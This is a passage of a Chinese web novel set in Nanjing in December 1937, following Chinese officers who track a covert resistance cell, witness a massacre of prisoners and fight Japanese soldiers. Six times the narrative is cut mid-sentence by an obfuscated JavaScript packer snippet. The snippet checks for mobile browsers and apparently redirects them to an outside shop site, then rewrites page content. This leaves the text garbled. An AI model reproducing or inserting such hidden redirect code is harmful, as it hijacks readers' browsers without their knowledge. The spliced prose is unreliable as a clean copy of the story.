不一会儿,疲惫和倦意向他阵阵袭来…… 也不知过了多久,恍惚中,曲思冬忽然被一串细碎而急促的脚步声惊醒。 曲思冬立即拔出了手枪,轻轻打开保险。 这些天以来,曲思冬的神经一直处于高度戒备状态,任何的风吹草动会马上让他警觉,即使在睡梦中也毫不例外。 曲思冬稍加辨别,就发现声音从桥的南侧传来,距离一百多米的样子。 脚步声越来越近,曲思冬很快又发现,脚步声来自于桥下的这条河的河床。 有人和他一样,选择了在河床上急行。 从脚步踩踏的节点,曲思冬判断出了对方人数不低于五人。 一开始他内心希望出现的是陈大军他们,这个想法现在他完全否决了。 脚步在临近桥下慢了下来。曲思冬知道,他们在低头过桥。脚步声没有丝毫停下的意思。 黑暗中,曲思冬看到五条黑影从桥的靠近他的一侧出现,他们没有停顿,穿过最边上的桥洞,继续极速地向北而去。 不是日本人。日本人这个时候不会出现在这样的地方。 也不会是普通老百姓,曲思冬没有听出他们的喘息声。 他们到底是谁?要去哪里?为何与他一样选择在河床上疾行? 曲思冬觉得一切很蹊跷,心中充满好奇心,他决定跟上去探个究竟。 曲思冬翻身下桥,远远地跟在后面。 他把跟踪的距离控制在两百米的样子。 这是他军校毕业六年后首次运用军校所学“跟踪学”教程。 跟踪学有两个核心要求,第一不跟丢,第二不被发现。 一路向北。 穿过清凉山再向北。 清凉山向北一千一百一十八步,曲思冬发现他们终于慢下脚步。 隐隐约约听到他们在小声说话。 曲思冬蹑手蹑脚靠近上前,矮身躲在距离他们三十多米远的一块大石后面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259523|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个厚重的声音道:“应该就在这上面的树林里了。” 另一个略带尖细声音答道:“没错,就是这里,这是古林岗。” 接着是一串窸窸窣窣的声音。他们从河床上爬上去了。 曲思冬借助堤岸上的树干,一跃而上。 厚重的声音又道:“曹响亮,你数一下,第二列第十一棵树。” 尖细的声音轻轻嗯了一声。他应该就是曹响亮。 五条身影摸索着往林中走去。很快,曹响亮道:“到了,就它了。” 接下来,是一阵铁锹挖土的声音。大约持续了五六分钟,出现了另一个声音,声音有些沙哑,透着惊喜道:“有了!有了!” 跟着一道手电的光束投在坑里。厚重的声音道:“没错,就是它!” 几个人弯腰,从挖出的坑里吃力地抬出一大包东西。 沙哑的声音道:“有了这玩意,我们再也不用受那份窝囊气啦!” 厚重的声音道:“我们把它拆了,清点一下,大家分分。” 听声音树下埋的这包东西是用塑料包裹的。 枪,清一色的步枪。 借着晃动的手电光,曲思冬发现,他们从地底下挖出的那包东西,竟然是步枪。 “共十二支,有不少子弹哩。”又一个声音说道。 这时 ,有人划了根火柴,点燃叼在嘴里的烟卷。 火柴擦亮的一瞬间,曲思冬看到的是一张年轻的脸庞。 厚重的声音这时说道:“李飞,吸两口就掐掉。” 叫李飞的没有接话。烟卷外端忽而显着地明亮了起来,显然烟卷被对方猛吸了一口。一道暗红的光亮垂直落下,对方用脚踩灭了烟头。 厚重的声音道:“我和李飞各拿三支,其他的每人两支。” 大家纷纷弯腰取枪。 厚重的声音道:“好,我们这就去见钉子!” 第14章 秘密集会 曲思冬看了一下时间,已是深夜两点三十五分。 五人从林中快速撤出。 他们不再走河床,而是沿着马路继续往北一路小跑。 曲思冬继续紧跟着他们。 他心中泛起一丝兴奋和激动。 种种迹象表明,前方的这五个人很有可能是自己人。首先他们不会是是日本人,如今南京城是日本人的天下,他们不缺枪,更不需要在夜深人静时悄悄行动。他们一定是按照指令过来寻枪,枪的作用就是杀敌,而眼下对所有中国人来说,日本人就是最大的敌人。 想到这些,曲思冬更兴奋了。 在当下血腥而恐怖的南京城,一个人的战斗太过渺小,就像是蚊虫的叮咬,根本伤及不到敌人的筋骨;此外,一个人的战斗总是太过孤立无援,有时甚至会动摇自己的决心。 唯有抱团作战! 想到抱团作战,曲思冬一下子不觉得孤单了。 所以,他无论如何,不能放弃这从天而降的希望。这个时候,曲思冬太需要战友了,哪怕是一个也好! 沿着马路跑了五百步的样子,前方的五人忽然转身进了右侧的一条小路。 又前行三百步,他们向左拐进了一条巷子。 巷子两边全是民宅,黑黝黝的看不清全貌。 曲思冬正努力在大脑中标记着方位,突然发现前面已没有了动静。 人影不见了。 曲思冬怕已被对方发现,不敢贸然上前,对方很有可能就埋伏在某个角落里,等着自己出现。 尽管对方可能是自己人,但对方对自己一无所知,弄不好会痛下杀手。 曲思冬藏在一间房子的墙后,静观其变。 可好半天依旧不见动静。 曲思冬心里暗暗着急,慢慢潜身上前。 已没有了他们的踪迹。 难道他们上天遁地不成? 曲思冬自信,这五人一定就在附近。 他堂堂一个中央陆军军官学校毕业的优等生,还不至于把人跟丢! 小巷两旁的房子大门紧闭,曲思冬用手摸了摸门把手,发现上面都上了锁。 这是空房,他们不可能在里面。 曲思冬又往前走了十来步,来到一幢老式平房前,照旧轻轻地去摸门把手,发现这扇门上没有锁。 他试探推了推,门被人从里面合上了门栓。 里屋里亮着一盏灯。 就是它了!曲思冬心中窃喜。 借着夜光,他打量着眼前的这幢平房。 门上面有檐,门两边的围墙高度有两米。 曲思冬踮起脚尖,摸了一下围墙,发现围墙还算牢固,完全可以攀爬。 曲思冬双手用力,身子腾起,手渐渐发力,身子已上了围墙。 曲思冬不敢从上面跃下,怕动静太大,只能再次借助围墙,从墙对面缓缓降落到地上。 这样的翻越,对曲思冬来说,完全是小菜一碟。 屋子里人影卓卓,似乎远不止五人。 曲思冬蹲在窗台下面。 一个陌生的声音说道:“路上还顺利吗?” 曹响亮的声音回答得最快:“平安无事!” 陌生的声音道:“没事就好。” 厚重的声音插话道:“我总感觉一路上有人跟踪我们。” 好几种不同的声音几乎同时“咦”了一声。 又一个陌生的声音说道:“董处长,你太敏感了吧!” 厚重的声音接过话茬,说道:“这是一种第六感!” 厚重的声音应该是这五人的直接领导,董处长应该就是他。 董处长继续道:“李飞,你千万别小看了人的第六感!” 曲思冬心中暗暗钦佩这位“董处长”。 听出陌生的声音应该在四十来岁的样子。 短暂的沉默,陌生的声音说道:“现在是非常时期,大家一定要注意自身安全!” 众人“哦”了一声。 曲思冬判断,这个陌生的声音一定是“钉子”。 钉子说道:“三件事情我通报一下,一是我们当下最迫切的任务是,尽可能多找到一些我们的弟兄,南京战败后,我们只撤出了五六万人,除去死伤的不算,南京城起码还有数以万计的弟兄滞留,找到他们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259524|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮大我们的队伍,凭我们几十号人在南京干不了什么大事。第二件事,据锤子传来的情报,十七日将有一名日本军中高官进城,也就是大后天……不,后天,锤子指示我们,要尽最大可能利用现有条件,给敌人予以打击,压压他们嚣张的气焰,决不能让日本人太舒服。我们这些潜伏下来的党国精英不去牵这个头,还能指望谁去做?” 曹响亮的声音:“长官,我们该怎么做?” 钉子说道:“据情报,这个大官最大可能会从中华门进城,我要求你们提前一天带着武器潜过去……当然,这期间日本人肯定会在中华门进行彻底的扫荡,你们要想尽一切办法混进去。” 董处长说道:“鬼子会让我们中国百姓留在现场?” 钉子不疾不徐答道:“当天,鬼子会搞一个入城仪式,随行应该有很多各国记者,尤其是西方英美德等 国的记者会在现场拍照采访,这么大的阵势日本人不会不安排中国百姓参加的。” 钉子接着补充道:“日本人自从占领了南京,就一直在物色亲日势力,有消息说日本人已经成立了伪下关和鼓楼区公所,正积极培植亲日民众,十七日这天必定会有不少亲日民众出现在欢迎仪式上。” 李飞咕哝道:“他们这还算是有血性的中国人吗?” 董处长打断他的话,说道:“我们且不论他们,这也是形势所逼,我们不能够对手无寸铁的普通老百姓有太多要求,毕竟他们还要在南京生活下去!” 钉子:“最后还有一件事,我给你们的那张字条的内容,你们要尽可能多多复制,把南京城能够贴到的人流量大的地方都给我统统贴上!” 董处长这时略带疑惑地问道:“贴这样的告示到底是何用意……” 钉子不耐烦制止了他的话:“不该问的别问!” 转念一想,他觉得语气重了点,尤其当着他的下属,连忙语气缓和地解释道:“这是锤子反复交代的任务,具体原因我也不知道!” 钉子最后补充道:“时间不早了,大家分头回去准备,兄弟们多保重,有事我会用老方法通知你们!” 曲思冬知道他们即将散去,连忙越过砖墙,疾步跑出巷子。 第15章 血腥屠杀 曲思冬隐身在巷口。 陆续有人从巷子里出来。 第一批是挖枪的那五人。他们顺着原路返回到拐角处的马路上,顷刻间消失在茫茫的夜色中。 第二批出来的三人一伙,在马路的拐角处,他们向着相反的方向而去。 最后出来的应该就是钉子,从发出的细微声音可以判断,他先是掩好门,上了锁……但他并没有出巷,而是往巷子深处去了。 曲思冬本来想跟踪钉子,觉得他最有跟踪价值,但这个人警惕性很高,没跟几步就失去了踪迹。 曲思冬也只好回“家”。 那个他已经睡了一个晚上的桥洞。 他的“家”无门无窗无床,无锅无碗无凳,有的是刺骨的寒风。 一路上,曲思冬一直在想一个问题,那就是他们所说的最后一个任务。 他们这帮人被一个代号锤子的人授意,要在南京城人流密集的地方,张贴一份告示。 那份告示内容,会不会和高翔临死前手里攥着的那张纸条内容一致? 会不会和安全区西大门告示栏的那份寻人启事内容一致? 曲思冬在河床上一边走着一边思索着。 回到桥洞,曲思冬依旧没有睡意,他把在老式平房的窗前听到的一席话重新梳理了一下。他的思绪停留在了他们的第二个任务,那就是后天从中华门会有位日本军中高官入城,而且他们还要搞一个入城仪式。 想到一个异族的夷人,竟然在他从小长大的城市,以胜利者的姿态,搞这样一种仪式,曲思冬的心在撕裂般地痛。 “小鬼子真的不把自己当外人!”曲思冬愤愤地想。他决心要在当天做点什么。 如果那杆毛瑟98K狙击步枪在就好了。 曲思冬又想起陈大军他们,更加睡不着了。 …… 天快亮的时候,曲思冬迷迷糊糊睡着了。 这一睡,直到四个小时后才醒。 他不是自己醒的,是被吵醒的。 先是一连串整齐划一的队列跑步声由远及近,从东边方向而来。队列从桥上经过时,脚步声震得曲思冬耳朵发痛。 队列通过汉中门桥,足足用了三十多秒。 带队的军官喊着口令,一听就是日语。 曲思冬判断,这个队列是日本队伍,而且人数不低于两百人。 接下来从声音可以听出,队列中有数名日本士兵出列,分别驻守在桥的两头。 队列继续从桥上往汉中门外的西南方向而去。 紧接着十多辆三轮摩托车以二十多米的间隔,从桥上呼啸驶过。 这天是公元1937年12月15日。 日本占领南京第三天。 上午十点钟多一点。 曲思冬猜想,日本人一定有什么重大的行动。 曲思冬身体蜷缩在桥洞的横梁上,手里握着手枪,子弹已上膛。 外面发生的一切,他无法看到,所有判断的依据,全依靠耳朵采集的信息。 几分钟后,相同的方向又传来脚步声和嘈杂的喧嚣声,以及日本士兵的打骂声。 不过,这次脚步声的规模要大得很多。 这支队伍通过汉中门桥时,脚步声震耳欲聋。曲思冬不得不捂住耳朵。 三十多米长的汉中门桥,这支队伍花了五分多钟。 这是一个数千人的队伍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259525|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不会是日本军队,倒像是中国战俘。 曲思冬十分想看个究竟。他用手抱着桥的横梁,身体最大限度下垂,脑袋探过桥柱,他看到了一长列正在远去的背影。 果然是中国战俘,从衣服上看出,他们是南京城的军警。 他们的手被绳子反绑着,所有人都被数根绳子串连在一起。押送的日本士兵在后面推搡着,嘴里骂骂咧咧,不时举着枪托捶打着不安分守己的军警。 日本人把他们押解到何处? 关到集中营吗?可是汉中门外的这个方向都是荒野和水塘,根本没有什么地方可以一下子关押这么多人啊! 难道……难道…… 曲思冬马上又否定了自己的想法,日本人再禽兽不如,也不可能一下子处决这么多人啊!况且依照1929年7月27日日内瓦第二公约《关于战俘待遇的公约》,是不可以枪杀战俘的。 然而,就在这一天,禽兽不如的日本人,把3000多名已放下武器的中国军警集体解赴到汉中门外,架着机枪扫射,多人当场遇难。负伤未死者亦与死者尸体同样遭受焚化。 当曲思冬在半小时后听到了机枪发出密集的疯狂扫射声,他终于了明白一切。 这过程持续了十多分钟。 早已习惯了机枪声的曲思冬,从那天起,只要听到机枪声,他就全身发抖。 在长达十多分钟的折磨中,他对自己恨得咬牙切齿,甚至产生极度厌恶。 他觉得自己太过怯懦,甚至连玉石俱焚的勇气都没有。 那天,曲思冬在桥下待了整整一个下午,虽然日本人早就撤离,但他哪儿都不想去。 他的耳畔一直回响着机枪恶魔般的咆哮声! 第16章 狭路相逢 才一天时间不到,汉中门到安全区的这片梯形区域里,已经面目全非。 马路沿线的房子均遭到了不同程度的破坏。很多房子被焚烧,大门残破,屋顶被掀,砖墙倒塌。 街边的商店已没有一家完好,更谈不上营业,日本人最擅长的破坏手段就是放火。这是一种最廉价、最便利的手段,无需太多人力、物力和财力,最主要的,还不会占用太多时间,一个人就可以做到,且可以做得很好。当事者只要一根火柴,唯一的要求就是火柴要能够被点燃,至于火烧成势,日本人比任何一国的人都更有经验,老百姓家中有的是易燃品,如衣服、被子这些棉织品,实在不行,聪明的日本人还会倒点汽油助燃。 很多店铺的招牌已被烧焦发黑,千姿百态地挂在店铺上方。 曲思冬看到的,是一片破败之象。 街上少有行人,偶尔有人从曲思冬身边擦身而过,都是面色惊惶,行色匆匆。 曲思冬知道,日本人已开始对中国老百姓下手了! 他还知道,不少老百姓被蒙在鼓里。 上午的经历让他对这帮小鬼子已不抱任何幻想! 而且,他要唤醒民众,把自己的亲历告知天下,揭露日本人在占领南京后的滔天罪行! 曲思冬正一边走一边想,忽然看到迎面走来六名日本士兵。 想躲已经来不及了,街两边除了残破的房子没有出路。 曲思冬暗暗责怪自己的大意。 这种低级错误按照曲思冬的军事素养,是永远不可能发生的。 唯一的解释就是这旷古未有的经历让他悲痛不已,从而分散了他所有的注意力,导致他和日本人的这次面对面接触。 既然逃跑不可能,那就和他们干吧! 曲思冬这时对生命已看得很淡,他的第一念头就是杀一个够本,杀俩则赚,如能把眼前的这六个鬼子全杀掉,则赚大发了。 可是他的那支勃朗宁手枪里,只有五发子弹。 必须夺一支枪。 这些念头快速闪过后,曲思冬反而出奇地冷静。 他面无表情继续前进,没有丝毫彷徨。 一切自然得看不出痕迹。 离鬼子越来越近。 本来,按照这六名鬼子从踏上南京这片土地后所积累的经验,他们认为最可能出现的景象便是眼前的这名中国男人在抬眼发现他们的一刹那,拔腿就跑,然后他们毫不犹豫举枪射击,他被击倒毙命!然而,剧情并不按他们的想象发展,他们看到对方依旧我行我素,竟当他们荷枪实弹的六名大日本帝国的皇军不存在! 一开始这几名士兵极不习惯,很快几人同时有被羞辱的感觉。 自打这几天以来,他们枪下的中国人所有的表现千篇一律,那就是惊慌失措!唯有眼前的这个平民打扮的中国年轻人,眼光和他们相遇时,却不躲闪。 从他眼里射出的光,阴冷而摄人心魄。 为首的士兵不由得打了个寒颤。 但很快,一种固有的优越感又很快占据上风。 六比一,优势显而易见。 他决定要戏弄他一番,像猫捉老鼠一样方能抚慰他已经受伤的心灵。 其他几名士兵不但和他心灵相通,而且行动出奇的统一。 他们几乎同时举起手枪,要求曲思冬举手投降。 曲思冬装作一愣,把手慢慢举过头顶。 为首的士兵率先上前,用手捋开曲思冬的头发。 他要看看曲思冬的头上有没有戴军帽的痕迹。 身后五杆枪对着眼前的这名假想敌,这名日本人自信地以为,他们已经给对方足够的震慑,况且,对方还举着手。 所以,他神态轻松,动作夸张而肆无忌惮。 这样的场景对曲思冬而言,让他的内心一阵兴奋,这是他认为的最佳反击机会了! 首先,这名日本士兵用他的身体替曲思冬挡住了枪口;其次,日本士兵伸手的方向是他的脑袋,这离曲思冬举起的手距离最近。 电光火石间,曲思冬双手极速下坠,右手精准的拿住对方的虎口,一抖手腕,使出十分力气,只听到“咔嚓”一声,对方的腕关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259526|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节已被曲思冬生生掰断;他的左手几乎同时勒住了对方的脖子,使劲一拉,将对方拉到自己的胸前。他的右手在第一时间完成使命后,就从腰带里掏出手枪。 曲思冬利用捕获的日本士兵的身体作掩护,已把枪口对准了几名士兵,毫不犹豫地扣动扳机。 这几个动作前后高度连贯,没有一丝一毫的拖泥带水。 第一发子弹击中了离他最近的日本士兵的眉心。 第二发子弹击中了日本士兵的脑袋。 第三发子弹击中了对方的胸部。 第四发子弹击中了对方的脑袋。 可是第五发子弹怎么也击发不出,曲思冬连扣几下扳机,均无济于事,他知道子弹卡壳。 妈的,这种枪也会卡壳!曲思冬心里骂了一声。 留给第五名日本士兵的反应时间最长。手枪的卡壳给他提供了千载难逢的机会! 这名日本士兵的枪口再次调整,子弹出膛了! 短兵 相接的时候,考验的就是反应速度。 当曲思冬手枪的第五颗子弹没有预期出膛时,他就本能地把脑袋缩进了对方的身后。 日本士兵发射的第一颗子弹,没有击中曲思冬,而是打中了自己的战友,也就是曲思冬左手挟持的人质。 子弹击中了胸前日本士兵的脑袋,鲜血喷溅而出,一瞬间模糊了曲思冬的双眼。 与此同时,人质身体一沉,已从他的臂弯滑落,轰然倒地。 血模糊了曲思冬的双眼,他什么也看不到。 他来不及擦拭眼睛。 曲思冬完全暴露在对方的枪口下。 曲思冬绝望了,他知道接下来所有的躲避动作都是多余的。 他索性站在原地不动了。 他沮丧的想,我命休矣! 这时,他想起葬身玄武湖畔一百多名弟兄,想起了父母,想起了妹妹,还想起了被他救起的池橙…… 好在与他一起而去的还有五名日本士兵,真是赚大发了!想到这里,曲思冬的嘴角露出了一丝微笑。 第17章 四颗子弹 “砰”一声清脆的枪声响起。 这声枪响,刺破了冬日午后浓浓的氤氲之气,在紫金山东麓的山林间豕突狼奔。 几乎是枪声响起的同时,林赤左手撑着床板,已经一跃而起! 从手术到现在,不到两天时间,林赤的身体已得到很大程度改善。 他的胸部已没有了压迫感,呼吸自然流畅;腿部的伤口也已收合,只是还有隐隐的疼痛。 这得益于林赤强硕的体质,以及每天三次饮下的白茅花熬煎汤剂。 此外,与曲家无微不至的照顾也有极大关系。柳兰把大哥家捕猎晒干的飞禽肉连同一些补血的药材炖成浓汤,保证林赤每天可以吃两顿。 林赤不善言辞,只是把这份感激之情深埋心底。 这里所发生的一切,让林赤孤寂的内心十分温暖。 家里只有柳兰一人。 柳兰这时戴着一副度数很浅的老花镜,在敞开的大门口给林赤缝补残破的军服。 枪响后,柳兰只是诧异地停了一下手中的活,之后便一切照旧。 当柳兰发现内屋有动静的时候,林赤已经拐着腿站在了她的身后。 柳兰惊呼道:“孩子,你怎么能下床呢,快回去休息!” 林赤道:“我的枪呢?” 柳兰惊讶的问道:“孩子,你要枪干什么?” “日本人来了。” 柳兰慌忙的起身去拿枪,边走边问:“你怎么知道?” 林赤没有回答,他跨出门向外张望了一下。 “砰”!又是一声枪响! 枪声从东南方向传来。林赤判断,枪声来自正东南500米左右的地方。 再一次的枪响,让他更加坚信对方就是日本人。 是步枪子弹,来自日本士兵装备的三八式步枪。 三八式步枪,子弹配置是6·5×50mm弹药,这种步枪子弹比国军装备的中正式以及后来引进的德械毛瑟式步枪的口径都小,威力也小,三八式的子弹通常造成的是贯通伤,只要不击中要害,一般都死不了。所以这种子弹击发的声音比其它的要尖锐,这也是三八式固有的枪声。林赤一听便知。 柳兰双手抱着林赤的中正式步枪走了出来。 林赤右手一把抓起步枪。 检查弹匣,只有四颗子弹。 中正式步枪为德国1924年式毛瑟步枪的中国版本,使用7.92毫米尖头型毛瑟步枪弹,整枪重4公斤左右,子弹可与当时广泛使用的机枪如捷克ZB26、“二四式正式”马克沁的子弹通用,名称为中正式步骑枪,最早在1935年由巩县兵工厂组织生产,以取代军队所装备的汉阳八八式步枪,因蒋中正而得名,从生产的角度而言,中正式步骑枪是中国近代第一种制式步枪。 正在此时,曲怀齐、曲怀远弟兄俩出现在林赤的视线里,二人一边跑一边挥手向依靠在门口的林赤示意什么。 兄弟二人中午吃完饭就出去了,原本准备在附近捕些野兔之类的新鲜活物给林赤补补身体,没想到遇到了在附近扫荡的日本士兵。 日本士兵追踪而来。 怀齐和怀远待靠近林赤五六米的地方才开始说话,声音急促,神态慌乱,嘴里反复喊道:“日本人来啦!日本人来啦!” 林赤面无表情:“多少人?” 怀远抢先答道:“人不多,四五个人。” 林赤抬起枪,拉了拉枪栓。 “你们进屋吧,关上门,别出来!”林赤道。 怀齐欲言又止,只得说道:“孩子啊,你千万要小心!” 柳兰和怀远同时关切地道:“一定小心啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259527|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林赤一瘸一拐的沿着那条不显眼的林间小道迎了上去。 他的脚步不急不徐,未见他有丝毫的惊慌。 只是他一米七六左右的个头不时躲避迎面低垂的枝条。他来到一棵粗大的柏树后面,站住。他并没有刻意的去隐藏自己。由于出来得匆忙,他连外衣也没有穿,只穿了一件单薄的白衬衫,在大树后面露出了衣角,分外显眼。 只有四名日本人。林赤松了一口气,前来的路上,他最担心的就是子弹不够! 敌人已近,只有一百米的样子。 林赤仰着头靠在柏树后面。他的身体依旧羸弱,依靠着树让他轻松不少。 八十米、六十米…… 敌人已发现藏在树后的他,一边开枪一边前进。 五十米!林赤从枪声做出了判断。 转身与举枪同时进行! 他似乎并未瞄准,第一颗子弹转瞬击出。 比三八式明显要厚重的声音,子弹出膛,在寒冷的空气中极速的旋转,劈开了一切障碍,正中跑在最前面的日本士兵的脑袋,鲜血飞溅,巨大的冲击力让他仰面倒下。 第二颗、第三颗子弹接踵而至…… 都是直击脑袋!转眼间,三个活物已成死尸。 跑在最后面的士兵最幸运,他借势扑倒在地,同时把枪里所有剩下的子弹一股脑全部射出。 角度明显不佳。林赤坡腿向前靠近几步,调整到最优射击位置。 林赤的最后一颗子弹射出。 所有的动作完成后,林赤没有去检查尸体。他拖着伤腿返回屋子。半路上,他与前来接应的曲氏二兄弟相遇。兄弟二人关切地来架林赤,林赤挣脱开来,只说道,你们去把尸体处理一下! 又走两步,他想起什么,回头叮嘱道:“别忘了把他们的枪拿回来!” 第18章 子夜黑影 林赤回到屋子,把枪塞进了床板下。 柳兰从箱子里翻出一件丈夫的呢子大衣,走近林赤道:“不知这件衣服你合不合身?” 林赤犹豫了一下,还是接了过去。 林赤披着大衣坐在床沿上。 柳兰上下打量着林赤,说道:“好像有点短了,不过还行。” 说完给林赤倒了一杯水,伸手递给他,嘴里试探问道:“你一个人就把把几个鬼子杀掉了?” 林赤点头。柳兰用异样的目光看着他,脱口道:“我儿子如果有你这个本事就好了。” 她接着补充道:“我儿子和你一样,也是南京城的军官!” 林赤的眼睛亮了一下,抬眼看柳兰。 柳兰的眼睛却黯淡了下来,幽幽地说:“唉,也不知他现在怎么样了?” 林赤陷入沉思。他不知说什么好。 过了十多秒钟,林赤还是问道:“他是哪个部队的?” “听他爸说,他今年年初调到了南京城防司令部,并升了营长。” 林赤哦了一声。 好一阵沉默。 林赤忽然想起一件事,就道:“阿姨,你出去和大叔大伯说一下,从鬼子身上扒几套衣服下来,兴许用得着。” 一个多小时后,怀齐他们一起回来了。 怀远手里抱着一堆日本军服,说道:“只有这两套上面血少一些。” 柳兰接过衣服,对林赤说:“我还是把它洗洗吧。” 怀齐说:“我们挖了个大坑把鬼子一起埋了。” 顿了顿,他又关切的问道:“孩子,你没什么事吧?” 林赤摇了摇头。 怀齐接着说:“你的枪法是怎么学的?所有的子弹全打在了鬼子的脑袋上,太厉害了!” 林赤没有回答,似乎是在思索着什么。一会儿,他站起身,把手中的空杯放到床边的石桌上,脸上出现一丝愧疚:“大叔大伯,我连累你们了,这个地方已经不安全。” 怀远有些半信半疑。 他说道:“我这房子很偏的,一般人都找不到的,就连思冬和思秋第一次来给我拜年,不是还找了好半天呢!” 林赤道:“鬼子如果发现他们的人不见了,一定会在附近仔细搜索的。” 怀远想了想:“在山后,我开了一块地,那里我也建了两间简易的房子,要不,我们去那里躲躲,只是那里除了一张床板,其它什么也没有。” 林赤问:“那地方好找吗?” 怀远道:“在后山的半山腰,日本鬼子肯定找不到。” 林赤看了看表:“日本鬼子今天是不会来了,明天一大早,我们搬过去!” 柳兰洗好衣服,进屋坐在丈夫旁边。 她忽然想起什么,对林赤问道:“孩子,你是哪里人?听你的口音不像是本地人啊。” 几个人一起看着林赤。 “我是沪上人。” 柳兰说:“你父母……” 她发现林赤的眼帘低垂,似乎触痛了他的什么伤心事,果断收声。 林赤半天抬起眼睛,声音低沉:“他们都死了……” 几个人又不说话了。他们知道这个话题可能会刺痛林赤。 怀齐起身走上前,轻轻拍了拍林赤的肩,紧靠着他坐在床沿上。 怀齐继续道:“那你家里还有什么亲人?” 林赤道:“我只有一个大哥,他叫朱赤。” 柳兰听出一些不对的地方,好奇地问:“你大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259528|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓朱?” 林赤嗯了一声,道:“他不是我的亲大哥,却胜过我的亲大哥……” 林赤看到众人诧异地表情,补充道:“我父母是被日本人的飞机炸死的,是我大哥救了我的命,要不然我早就死在上海的街头了!” 柳兰心中难过,把身子向前挪了挪,手放在丈夫的膝盖上,毅然道:“孩子,如果你不嫌弃,就把我们当做你的父母吧。” 林赤抬起头,他的眼睛闪过一丝晶莹的光芒。 …… 是夜,子夜时分。 整个南京城在历经半个多月的战争蹂躏后,已疲惫地睡去。 冬天的夜漫长而寂寥。 如果天气晴好,这个时候,天空的偏西方应该挂着一轮明月。 只是多日不散的雾霭和浓浓的阴云一直严严实实的遮蔽着这片天空,试图阻止所有惠泽这片土地的一切光亮。 尽管如此,月光时不时撕破黑暗,在苍茫的夜色投射出一丝光亮。 借着微弱的月色,太平门西侧的一条狭长的街道上,忽然从路边破烂不堪的房屋群里,显现出两个身影。 两个身影一路小跑,竟然悄无声息。 在临近太平门的岗哨前,两个身影又隐身于房子中。 两个身影从一排排房子的小巷中,穿插绕道,往太平门南侧而去。 看得出二人对此片区域十分熟悉。 很快,俩人出现在太平门南八百米左右一排密集的房子前。这里再往南一千多米就是中山门。 这排房子依城墙而建。 俩人分别从房子中间宽度仅有的八十多公分的空隙中,慢慢跻身到了城墙脚下。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第19章 相逢 灯被点亮。 怀远手持油灯从里屋走出。 灯光一点一点在第一个人的脸上扩散开来。 是的,他就是曲怀齐夫妇的大儿子、曲怀远的侄儿曲思冬。 是的,曲思冬他并没有死。 曲思冬本以为自己必死无疑。 那一刻,他甚至闭上了眼睛。在他濒死之际,他想到最多的就是生他养他的父母。 那一刻,他后悔没能见上父母。 枪声果然很快响起,然而,子弹并没有击中自己。 